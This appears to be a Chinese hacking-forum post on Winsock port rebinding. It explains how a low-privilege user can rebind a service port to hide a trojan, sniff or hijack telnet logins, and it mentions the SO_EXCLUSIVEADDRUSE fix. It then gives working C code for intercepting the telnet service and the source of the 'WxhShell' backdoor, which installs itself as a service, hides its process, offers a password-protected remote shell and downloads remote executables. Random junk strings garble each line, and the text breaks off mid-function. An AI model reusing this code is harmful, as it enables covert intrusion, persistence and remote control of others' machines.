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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: j lp:lX  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); /V=24\1Ky  
6}75iIKi  
  saddr.sin_family = AF_INET; ";BlIovT=R  
p7);uF^O%  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ng:kA%! Q  
nM\eDNK  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 9 Yx]=n  
;WgJ<&33  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 u583_k%  
$k0k k  
  这意味着什么?意味着可以进行如下的攻击: pX/n)q[  
iQ4);du  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 H(2!1?N+  
".SJ~`S  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ;GVV~.7/  
$jm>:YD  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 xO1[>W  
#Pw2Q  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  bgS$ {n/  
Kk(9O06j  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 uMut=ja(U  
 ]E_h  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 I+Jm>XN  
oHMo>*?  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 k4,BNJt'Z  
?I/qE='*  
  #include -6Oz^  
  #include 3= DNb+D!  
  #include bKj%s@x  
  #include    1^ _U;O:I  
  DWORD WINAPI ClientThread(LPVOID lpParam);   5~Cakd ]>  
  int main() Rop'e8Q  
  { Na$Is'F &p  
  WORD wVersionRequested; 90|7ArM_[  
  DWORD ret; lrWV#`6!+  
  WSADATA wsaData; 5nTY ?<x`k  
  BOOL val; ?q(\=;Y  
  SOCKADDR_IN saddr; uHH/rMV  
  SOCKADDR_IN scaddr; tniDF>Rb  
  int err; pWPIJ>2G:  
  SOCKET s; "]oO{'1X  
  SOCKET sc; "Vw m  
  int caddsize; cE`6uq7 p  
  HANDLE mt; S!Omy:=;i  
  DWORD tid;   *<E]E?  
  wVersionRequested = MAKEWORD( 2, 2 ); :ml2.vP  
  err = WSAStartup( wVersionRequested, &wsaData ); YY&l?*M<  
  if ( err != 0 ) { $U$V?x uE  
  printf("error!WSAStartup failed!\n"); 5k6mmiaKk  
  return -1; d0aCY  
  } OkCQ?]  
  saddr.sin_family = AF_INET; KhCzD[tf  
   QCH}-q)  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 T[,/5J  
j [rB"N`0  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60");  )LJnLo+  
  saddr.sin_port = htons(23); R)M_|ca  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) d"5oD@JG:  
  { e1>aTu@  
  printf("error!socket failed!\n"); Sr&515  
  return -1; <V7>?U l  
  } 4Sm]>%F':  
  val = TRUE; cTXri8K_  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Rw6; Z  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) &?uz`pv2  
  {  *[r!  
  printf("error!setsockopt failed!\n"); 3I!?e!y3(  
  return -1; 6*qL[m.F[o  
  } uQ=^~K:Z~  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; :}h>by=  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 cooUE<a  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 i]=&  
xXY.AoO6  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) (]RM6i7  
  { }<>~sy  
  ret=GetLastError(); l" q1?kaVg  
  printf("error!bind failed!\n"); A%Xt|=^_  
  return -1; T;diNfgg  
  } ?9HhG?_x  
  listen(s,2); d\H&dkpH  
  while(1) &n[~!%(  
  { 8>7RxSF  
  caddsize = sizeof(scaddr); zP:cE  
  //接受连接请求 7_wJpTz  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); u>Rb ?`  
  if(sc!=INVALID_SOCKET) v}sY|p"  
  { Gy,u^lkk:  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ( =16PYs  
  if(mt==NULL) FVB;\'/  
  { 7QVuc!V  
  printf("Thread Creat Failed!\n"); E"%2)  
  break; }C  /]  
  } rZojY}dWJ  
  } WKpA|  
  CloseHandle(mt); dl5=q\1=  
  } FP#FB$eP  
  closesocket(s); PSRzrv$l  
  WSACleanup(); ]WUC:6x  
  return 0; w-b' LP  
  }   RGIoI ]_  
  DWORD WINAPI ClientThread(LPVOID lpParam) ?\/qeGW6G  
  { B51kV0  
  SOCKET ss = (SOCKET)lpParam; `_5GG3@Ff  
  SOCKET sc; 1|ZhPsD.}g  
  unsigned char buf[4096]; 659v\51*  
  SOCKADDR_IN saddr; D -IR!js ]  
  long num; |2`"1gt  
  DWORD val; K'1~^)*  
  DWORD ret; dQgk.k  
  //如果是隐藏端口应用的话,可以在此处加一些判断 /u`3VOn  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   L{ho*^b  
  saddr.sin_family = AF_INET; Nt:8ogk/  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); g,]@4|  
  saddr.sin_port = htons(23); J^m<*  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9 L?;FY)_  
  { Y-~~,Yl~  
  printf("error!socket failed!\n"); m-V02's  
  return -1; sk2%  
  } ]lS@}W\  
  val = 100; PT9v*3Bq~  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) la$%H<,7  
  { K3mA XC,d  
  ret = GetLastError(); c 5`US  
  return -1; f+Dn9t  
  } ~2uh'e3  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) X6RQqen3:  
  { 5IqQ|/m<6  
  ret = GetLastError(); WxGSv#u  
  return -1; },+~F8B  
  } LH]CUfUrUE  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)  0=6/yc  
  { $v} <'  
  printf("error!socket connect failed!\n"); )%Y IGV;&  
  closesocket(sc); h<p3'  
  closesocket(ss); Y:x/!-  
  return -1; zPZF|%|  
  } xi'<y  
  while(1) r$nkU4N'  
  { ?\H.S9CZ^  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 . p^xS6e{  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ])y{BlZ  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 8SnS~._9  
  num = recv(ss,buf,4096,0); L2-^! '  
  if(num>0) *+lsZ8'^C  
  send(sc,buf,num,0); ilEi")b=  
  else if(num==0) &K:' #[3V  
  break; EychR/s  
  num = recv(sc,buf,4096,0); J(h3]J/Yw  
  if(num>0) e^e$mtI  
  send(ss,buf,num,0); ;Gm>O7"|@  
  else if(num==0) y7zkAXhJ  
  break; sms1%%~  
  } p/|(,)'+jx  
  closesocket(ss); 17py ).\  
  closesocket(sc); dc^Vc{26Z  
  return 0 ; Q5E:|)G  
  } ZTf_#eS$  
Sa]Ek*  
w@N{ @tG  
========================================================== R "E<8w  
kl{6]39  
下边附上一个代码,,WXhSHELL /GsrGX8  
z Bf;fi  
========================================================== k\(4sY M  
SWoEt1w  
#include "stdafx.h" O@`J_9  
&X w`T9<  
#include <stdio.h> ag]*DsBt  
#include <string.h> xw%)rm<t  
#include <windows.h> 2oNV=b[  
#include <winsock2.h> q0|Z oP  
#include <winsvc.h> T0L+z/N_m.  
#include <urlmon.h> <;KRj85"j  
sQ(1/"gb  
#pragma comment (lib, "Ws2_32.lib") ]N\6h(**wy  
#pragma comment (lib, "urlmon.lib") ` !kL1oUYE  
FrR9{YTA .  
#define MAX_USER   100 // 最大客户端连接数 U2&HSE|2J  
#define BUF_SOCK   200 // sock buffer XIN5a~[z*  
#define KEY_BUFF   255 // 输入 buffer ZKsQ2"8{M  
,^+#M{Z  
#define REBOOT     0   // 重启 1nXqi)&?;  
#define SHUTDOWN   1   // 关机 }wkaQQh  
E8;TLk4\  
#define DEF_PORT   5000 // 监听端口 W%zmD Hk~  
Q2R-z^pd  
#define REG_LEN     16   // 注册表键长度 4^MSX+zt  
#define SVC_LEN     80   // NT服务名长度 6BPAux.]  
U$@83?O{iM  
// 从dll定义API $nc, ?)i!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _s@bz|yqw  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); |)';CBb  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); vu>YH)N_h  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); u mqKFM$  
9g+UJ\u^  
// wxhshell配置信息 z-)*Q  
struct WSCFG { 7Ff?Ysr  
  int ws_port;         // 监听端口 J{^n=X9M0J  
  char ws_passstr[REG_LEN]; // 口令 IKtiR8  
  int ws_autoins;       // 安装标记, 1=yes 0=no d"p2Kx'*3  
  char ws_regname[REG_LEN]; // 注册表键名 ]#M/$?!]g2  
  char ws_svcname[REG_LEN]; // 服务名 ][ rTQt m  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 wC(XRqlE  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^VC7C~NZ!M  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Y"s )u7  
int ws_downexe;       // 下载执行标记, 1=yes 0=no "?`JA7~g  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #EEG>M*xB  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 qU}lGf!dVn  
#Ul4&QVeg  
}; T:dX4=z  
A &;EV#]ge  
// default Wxhshell configuration '[n)N@h  
struct WSCFG wscfg={DEF_PORT, e%'z=%(  
    "xuhuanlingzhe", 4*YOFU}l  
    1, } =xI3;7  
    "Wxhshell", =]WW'~  
    "Wxhshell", e2q pJ4i  
            "WxhShell Service", ,uKs>T^  
    "Wrsky Windows CmdShell Service", - a   
    "Please Input Your Password: ", LAizx^F  
  1, 1mY+0  
  "http://www.wrsky.com/wxhshell.exe", Bmi:2} j  
  "Wxhshell.exe" b1eK(F  
    }; mL8A2>Gig  
3j]UEA^  
// 消息定义模块 Y1m}@k,+M  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; T-hU+(+hg  
char *msg_ws_prompt="\n\r? for help\n\r#>"; YG-Z.{d5Z  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &e/@yu)x,  
char *msg_ws_ext="\n\rExit."; l7!U),x%/U  
char *msg_ws_end="\n\rQuit."; rSM$E  
char *msg_ws_boot="\n\rReboot..."; HKq2Js  
char *msg_ws_poff="\n\rShutdown..."; y|FBYcn#F  
char *msg_ws_down="\n\rSave to "; NvEm,E\|  
i#CaKS  
char *msg_ws_err="\n\rErr!"; E`A<]dAoK  
char *msg_ws_ok="\n\rOK!"; L*kh?PS;  
Ufm(2`FQ  
char ExeFile[MAX_PATH]; ~ >&I^4  
int nUser = 0; % JgRcx  
HANDLE handles[MAX_USER]; Eqz4{\   
int OsIsNt; [] GthF  
+a7EsR  
SERVICE_STATUS       serviceStatus; zz7Y/653  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; xn%l  
[0mFy) 6  
// 函数声明 j AJ/  
int Install(void); d~togTs1  
int Uninstall(void); g:G%Ei~sF  
int DownloadFile(char *sURL, SOCKET wsh); x.0k%H  
int Boot(int flag); _A@fP[C  
void HideProc(void); *F26}q  
int GetOsVer(void); ~zXG<}n  
int Wxhshell(SOCKET wsl); PfwI@%2  
void TalkWithClient(void *cs); >N+bU{s  
int CmdShell(SOCKET sock); >!HfH(is\  
int StartFromService(void); k"Z"$V2i  
int StartWxhshell(LPSTR lpCmdLine); =j'J !M  
CjC'"+[w  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .IW_DM-  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); N$=(1`zM=  
)vEHLp.  
// 数据结构和表定义 UX-_{I QW  
SERVICE_TABLE_ENTRY DispatchTable[] = \-$b o=s.  
{ 1sIy*z  
{wscfg.ws_svcname, NTServiceMain}, [9db=$v8$  
{NULL, NULL} Q`@$j,v  
}; ei+9G,  
d'lr:=GQ  
// 自我安装 +WU|sAK"  
int Install(void) hX>VVeIZ  
{ ] dm1Qm  
  char svExeFile[MAX_PATH]; }rj C_q  
  HKEY key; k *G!.  
  strcpy(svExeFile,ExeFile); K#JabT  
yKe*<\  
// 如果是win9x系统,修改注册表设为自启动 azR;*j8Q'  
if(!OsIsNt) { (^s&M  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5 CY_Ay\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); aUIc=Z  
  RegCloseKey(key); |&0"N[t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $p}~,Kp/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); AihL>a%  
  RegCloseKey(key); k+7M|t.?4  
  return 0; 'Tru?y \  
    } =jV%O$Fx  
  } V. bH$@ej  
} MW",r;l<aM  
else { tz0Ttu=xH  
zT4ulXN  
// 如果是NT以上系统,安装为系统服务 V~J2s  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >XXMIz:  
if (schSCManager!=0) 4I:JaRT d  
{ ~f]r>jQM  
  SC_HANDLE schService = CreateService <*r<+S   
  ( WFeMr%Zqh>  
  schSCManager, qm'C^ X?  
  wscfg.ws_svcname, {xBjEhQm  
  wscfg.ws_svcdisp, <igx[2X  
  SERVICE_ALL_ACCESS, yf#%)-7(  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , CyK$XDHa  
  SERVICE_AUTO_START, _/sf@R  
  SERVICE_ERROR_NORMAL, LL$,<q%(P  
  svExeFile, picP_1L  
  NULL, 49J+&G?)j  
  NULL, }N#>q.M  
  NULL, Zs5I?R1e8  
  NULL, vN%j-'D\A4  
  NULL d*\C^:Z  
  ); l5y#i7q  
  if (schService!=0) J?Ep Nie  
  { B[0,\>  
  CloseServiceHandle(schService); ?k:])^G5  
  CloseServiceHandle(schSCManager); \'LCC-  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); i!d7,>l+Q~  
  strcat(svExeFile,wscfg.ws_svcname); j]?0}Z*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *liPJ29C[  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7f\^VG  
  RegCloseKey(key); 2gD{Fgf@N  
  return 0; Kf?{GNE7  
    } k>0cTBY&  
  } R.YGmT'2  
  CloseServiceHandle(schSCManager); @`y?\fWh  
} 'y M:W cN  
} '3u]-GU2_  
etK,zEd  
return 1; x"wM_hl5L  
}  hL{B9?  
SQKY;p  
// 自我卸载 *1)NABp6D  
int Uninstall(void) "0 PN  
{ ^)IL<S&h  
  HKEY key; 1707  
' bw,K*  
if(!OsIsNt) { JdYF&~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _TN$c  
  RegDeleteValue(key,wscfg.ws_regname); q\HBAr y  
  RegCloseKey(key); 0l1]QD+Gc5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S,tVOxs^  
  RegDeleteValue(key,wscfg.ws_regname); o>A%}YU  
  RegCloseKey(key); bSmaE7  
  return 0; u4+uGYr*@  
  } %^%-h}1  
} VUv.Tx]Z[  
} x[>_I1TJ  
else { VaI P  
YxkEAb!+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 'sQO0611S  
if (schSCManager!=0) }~C ZqIP  
{ IC-xCzR  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 8B t-  
  if (schService!=0) JHZo:Ad -&  
  { f$W}d0(F;  
  if(DeleteService(schService)!=0) { s]%!  
  CloseServiceHandle(schService); Qn3+bF4  
  CloseServiceHandle(schSCManager); FC(cXPX}  
  return 0; RH4n0 =2  
  } &q}@[ )V4  
  CloseServiceHandle(schService); yaXa8v'oC  
  } r= | |sZs  
  CloseServiceHandle(schSCManager); U`p<lxRgQ  
} # %y{mn  
} RR[TW;  
![!b^:f  
return 1; <T/L.>p4  
} L"IHyUW  
Aq]'.J =4  
// 从指定url下载文件 9qy 9  
int DownloadFile(char *sURL, SOCKET wsh) *K.7Zf0  
{ c@B%`6kF  
  HRESULT hr; ~%K(ou=2  
char seps[]= "/"; *AQbXw]w  
char *token; knzED~ v@(  
char *file; HU+H0S~g  
char myURL[MAX_PATH]; wSyu^KDz  
char myFILE[MAX_PATH]; 0_pwY=P  
CscJy0dB  
strcpy(myURL,sURL); 5o ^=~  
  token=strtok(myURL,seps); v~cW:I  
  while(token!=NULL) T2;  9  
  { "FIx^  
    file=token; =F[,-B~  
  token=strtok(NULL,seps); J5IJy3d  
  } j5GZ;d?  
9d}nyJ  
GetCurrentDirectory(MAX_PATH,myFILE); l>?vjy65  
strcat(myFILE, "\\"); <Pt\)"JA  
strcat(myFILE, file); h*Tiv^a  
  send(wsh,myFILE,strlen(myFILE),0); .Awq(  
send(wsh,"...",3,0);  "<h#Z(  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 'oL[rO~j  
  if(hr==S_OK) 2`m_"y  
return 0; mXaUWgO  
else /k"P4\P`+Q  
return 1; i}"JCqo2  
5c7a\J9>  
} Bys|i0tb-  
vJUB;hD  
// 系统电源模块 rep"xV&|>o  
int Boot(int flag) #8OqX*/  
{ )ixE  
  HANDLE hToken; Qf]!K6eR  
  TOKEN_PRIVILEGES tkp; iUBni&B  
IpmREl $j  
  if(OsIsNt) { n_meJm.  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Ft !~w#&-  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); K$]B" s  
    tkp.PrivilegeCount = 1; %TgM-F,8  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )D*xOajo+l  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,[#f}|s_  
if(flag==REBOOT) { Y|nTc.A  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) kyB]fmS  
  return 0; sTyGi1  
} N *>; '  
else { ^umAfk5r?H  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) gHshG;z*  
  return 0; rzLl M  
} T]2q >N  
  } .R5z>:A  
  else { 1j,Y  
if(flag==REBOOT) { N2J!7uoQ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _P1-d`b0 a  
  return 0; ')cu/  
} cTp+M L  
else { {*9i}w|2  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :Ej)A fS  
  return 0; +%v4Ci"%y  
} DmsloPB?_  
} m(Ynl=c  
"(qO}&b>  
return 1; jN0v<_PJED  
} r1]^#&V;MC  
owhht98y(  
// win9x进程隐藏模块 ]3'd/v@fT  
void HideProc(void) 6:pN?|=6X  
{ *p^MAk9=  
[:qX3"B  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); z16++LKmM  
  if ( hKernel != NULL ) ',pPs=  
  { E?uv&evPK7  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); D=Y HJ>-wB  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); NYeg,{q  
    FreeLibrary(hKernel); (k~c]N)v  
  } <T]kpP<lC  
}s[/b"%y  
return; v5o%y:~  
} l-rnDl  
kn.z8%^(  
// 获取操作系统版本 =g:\R$lQ  
int GetOsVer(void) we9AB_y  
{ S0`*  
  OSVERSIONINFO winfo; t JP(eaqZ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ghl9gFFj  
  GetVersionEx(&winfo); .B*)A.   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 8TZe=sD~cr  
  return 1; QZfnoKz  
  else hGeRM4zVZZ  
  return 0; I f(_$>  
} :>k\uW  
i]v!o$7  
// 客户端句柄模块 T"jl;,gr]J  
int Wxhshell(SOCKET wsl) )r~Oj3TH  
{ tj3p71%  
  SOCKET wsh; VbjFQ@[l!  
  struct sockaddr_in client; w'!gLta  
  DWORD myID; ^&}Y>O,  
XV&3h>5  
  while(nUser<MAX_USER) jv ";?*I6.  
{ C6`8dn   
  int nSize=sizeof(client); 0U<9=[~q7@  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); OX"`VE  
  if(wsh==INVALID_SOCKET) return 1; rZEu@63  
19S,>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \3l;PY  
if(handles[nUser]==0) 3-05y!vbcE  
  closesocket(wsh); [,dsV d  
else ktCh*R[`  
  nUser++; l},%g%}iMU  
  } !q X 7   
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Buo1o&&  
]mp.KvB  
  return 0; 8P .! q  
} Oj:`r*z43  
3eB2= _V`  
// 关闭 socket X7G6y|4;w  
void CloseIt(SOCKET wsh) u1uY*p  
{ Abl=Ev  
closesocket(wsh); ^^Ius ]  
nUser--; p"T4;QBxQ  
ExitThread(0); 8wBns)wy@  
} ukw'$Yt2  
%63<Iz"  
// 客户端请求句柄 X#J[Nn>  
void TalkWithClient(void *cs) /4|qfF3  
{ ~&pk</Dl  
."R 2^`  
  SOCKET wsh=(SOCKET)cs; Cc^t&Eg  
  char pwd[SVC_LEN]; csC3Wm{v  
  char cmd[KEY_BUFF]; ''Hq-Ng  
char chr[1]; ?0.+DB $  
int i,j; s:jwwE2  
)b =$!  
  while (nUser < MAX_USER) { znM"P|A  
A >x{\  
if(wscfg.ws_passstr) { )P$ IXA\  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1:,aFp>qr  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rO-Tr  
  //ZeroMemory(pwd,KEY_BUFF); O6`@'N>6P  
      i=0; "^u|vCqw  
  while(i<SVC_LEN) { '?-GZ0oM  
UZ<!(g.  
  // 设置超时 nI 6`/  
  fd_set FdRead; ,3^N_>d$W  
  struct timeval TimeOut; ?J>^X-z  
  FD_ZERO(&FdRead); kJ~^  }o  
  FD_SET(wsh,&FdRead); !D1F4v[c=  
  TimeOut.tv_sec=8; ;1BbRnCr  
  TimeOut.tv_usec=0; VQX#P<  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 2lGq6Au:  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3i7n"8\$  
bzZEwMc6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^7(zoUn:  
  pwd=chr[0]; N^)L@6  
  if(chr[0]==0xd || chr[0]==0xa) { ;X\!*Loe  
  pwd=0; G $?VYC8;  
  break; & K7+V  
  } w;X-i.%`  
  i++; 9ah,a 4  
    } o\2#o5#  
Yh4e\]ql~N  
  // 如果是非法用户,关闭 socket lGs fs(  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1MOQ/N2BR  
} @ij}|k%*  
f4uK_{  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4j/8Otn  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); VN*^pAzlF  
Dtelr=/s  
while(1) { xAsbP$J:  
Nmp1[/{J  
  ZeroMemory(cmd,KEY_BUFF); z )k\p'0"  
H+-9R  
      // 自动支持客户端 telnet标准   ]_j{b)t  
  j=0; Cvq2UNz(R  
  while(j<KEY_BUFF) { eja_+`cJ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wz;IKdk[  
  cmd[j]=chr[0]; *y7^4I-J  
  if(chr[0]==0xa || chr[0]==0xd) { ?-J\~AXL  
  cmd[j]=0; ~^G k7  
  break; )j!22tlL  
  } 8L.Y0_x  
  j++; Z&YW9de@  
    } YG<?|AS/  
D@&0 P&  
  // 下载文件 :jgwp~l  
  if(strstr(cmd,"http://")) { 9aYCU/3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); \,lgv  
  if(DownloadFile(cmd,wsh)) ABB4(_3E  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]uj6-0q){W  
  else _G,`s7Q,w  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !bS:!Il9=  
  } @~xNax&^  
  else { &p`RKD  
C4]vq+  
    switch(cmd[0]) { u-yQP@^H  
  gVl%:Ra%  
  // 帮助 w SBDJvI  
  case '?': { D`2Iy.|!  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); bwS1YGb  
    break; Zw` Xg@;xP  
  } 2D,9$ 0k_]  
  // 安装 8$BZbj%?hx  
  case 'i': { u+~Ta  
    if(Install()) f)~urGazS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rB~x]5TH  
    else eI/9uR%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lrPiaSO`I  
    break; wWQv]c%  
    } TG~:Cmc  
  // 卸载 rfpeX   
  case 'r': { ML^c-xY(  
    if(Uninstall()) ]g2Y/\)a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qCi6kEr  
    else q["CT&0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J*vy-[w  
    break; qM~ev E$%  
    } ?kqo~twJ  
  // 显示 wxhshell 所在路径 mzLDZ# =b  
  case 'p': { s_}T -%\  
    char svExeFile[MAX_PATH]; k4FxdX  
    strcpy(svExeFile,"\n\r"); X>(?  
      strcat(svExeFile,ExeFile); q$(@  
        send(wsh,svExeFile,strlen(svExeFile),0); XbsEO>_Z'A  
    break; '8R5?9"  
    } M.iR5Uh  
  // 重启 hqd}L~o:  
  case 'b': { 2"*7H S  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); j'Z}; 3y  
    if(Boot(REBOOT)) /B73|KB+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ![YLY&}s  
    else { - |n\  
    closesocket(wsh); [XK Ke  
    ExitThread(0); &^KmfT5C  
    } =(Y 1y$  
    break; o7' cC?u  
    } ;3wj(o0  
  // 关机 ?kEcYD  
  case 'd': { +`O8cHx  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); E$"( :%'v  
    if(Boot(SHUTDOWN)) yNMnByg3?  
